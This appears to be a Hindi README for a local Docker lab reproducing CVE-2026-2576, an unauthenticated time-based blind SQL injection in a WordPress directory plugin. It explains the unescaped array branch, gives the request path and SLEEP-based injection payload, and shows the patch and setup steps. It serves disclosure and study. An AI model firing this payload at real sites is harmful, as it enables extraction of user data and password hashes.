
CVE-2026-2576 — Business Directory Plugin SQLi PoC (स्थानीय सेटअप)। WordPress ≤ 6.4.21 के लिए Business Directory Plugin में बिना प्रमाणीकरण के Time-Based Blind SQL Injection।
अप्रमाणित टाइम-आधारित ब्लाइंड SQL इंजेक्शन
WordPress के लिए Business Directory Plugin ≤ 6.4.21
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2026-2576 |
| प्लगइन | Business Directory Plugin – Easy Listing Directories for WordPress |
| विक्रेता | strategy11team |
| प्रभावित | 6.4.21 तक के सभी संस्करण |
| पैच किया गया | 6.4.22 |
| प्रकार | टाइम-आधारित ब्लाइंड SQL इंजेक्शन (CWE-89) |
| प्रमाणीकरण | कोई नहीं — पूरी तरह से अप्रमाणित |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| निर्धारक | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| खुलासा | फ़रवरी 18, 2026 |
Business Directory Plugin भुगतान समर्थन के साथ लिस्टिंग निर्देशिका बनाने के लिए व्यापक रूप से उपयोग किया जाने वाला WordPress प्लगइन है। इसके ORM क्वेरी बिल्डर में एक दोष एक अप्रमाणित हमलावर को payment क्वेरी पैरामीटर के माध्यम से टाइम-आधारित ब्लाइंड SQL इंजेक्शन करने की अनुमति देता है, जिससे डेटाबेस सामग्री का अनुमान लगाना संभव हो जाता है।
यह भेद्यता ORM क्वेरी बिल्डर में स्थित है:
फ़ाइल: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ असुरक्षित — कोई सैनिटाइज़ेशन नहीं, सीधे स्ट्रिंग संयोजन
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ सुरक्षित — $wpdb->prepare() का उपयोग करता है
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
जब $v एक स्केलर होता है, तो कोड सही ढंग से $wpdb->prepare() का उपयोग करता है। जब $v एक सरणी होता है, तो यह असुरक्षित शाखा में गिर जाता है और मानों को बिना किसी एस्केपिंग के सीधे SQL स्ट्रिंग में जोड़ देता है।
चेकआउट कंट्रोलर (includes/controllers/pages/class-checkout.php) payment अनुरोध पैरामीटर को पढ़ता है और इसे ORM को भेजता है:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id मान के रूप में पारित किया गया
);
}
PHP स्वचालित रूप से क्वेरी स्ट्रिंग में payment[]=value को एक सरणी $_GET['payment'] = ['value'] में परिवर्तित कर देता है। यह filter_args() में $v को एक सरणी बनने के लिए मजबूर करता है, जिससे असुरक्षित शाखा प्रभावित होती है।
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← [] नोटेशन के कारण सरणी
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → असुरक्षित शाखा
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
उत्पन्न SQL:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
-- - अनुगामी ') को टिप्पणी के रूप में चिह्नित करता है। IF() एक बूलियन ओरेकल बनाता है, जब स्थिति TRUE होती है, तो SLEEP(N) सक्रिय होता है और प्रतिक्रिया में देरी होती है; जब FALSE होता है तो प्रतिक्रिया तत्काल होती है।
नोट: ORM क्वेरी को प्रति अनुरोध दो बार निष्पादित करता है (एक बार get() में, एक बार maybe_execute_query() में), इसलिए SLEEP(1) पेलोड ~2 सेकंड की अवलोकन योग्य देरी उत्पन्न करता है, और SLEEP(2) ~4 सेकंड उत्पन्न करता है।
एक अप्रमाणित हमलावर टाइम-आधारित प्रतिक्रियाओं के माध्यम से डेटाबेस सामग्री को वर्ण-दर-वर्ण अनुमानित और निकाल सकता है, जिसमें शामिल हैं:
wp_users), उपयोगकर्ता नाम, ईमेल पते, पासवर्ड हैशसंस्करण 6.4.22 में फिक्स filter_args() की सरणी शाखा में सैनिटाइज़ेशन जोड़ता है:
// पहले (असुरक्षित)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// बाद में (पैच किया गया)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Python निर्भरताएँ स्थापित करें:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
जब तक आप यह न देखें तब तक प्रतीक्षा करें:
╔══════════════════════════════════════════════════════════╗
║ प्रयोगशाला सेटअप पूर्ण! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ WP Admin: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ प्लगइन: 6.4.21 (असुरक्षित) ║
║ BD पेज ID: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# अपेक्षित: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# http://localhost:8082 पर एक्सेस करें (root / rootpass)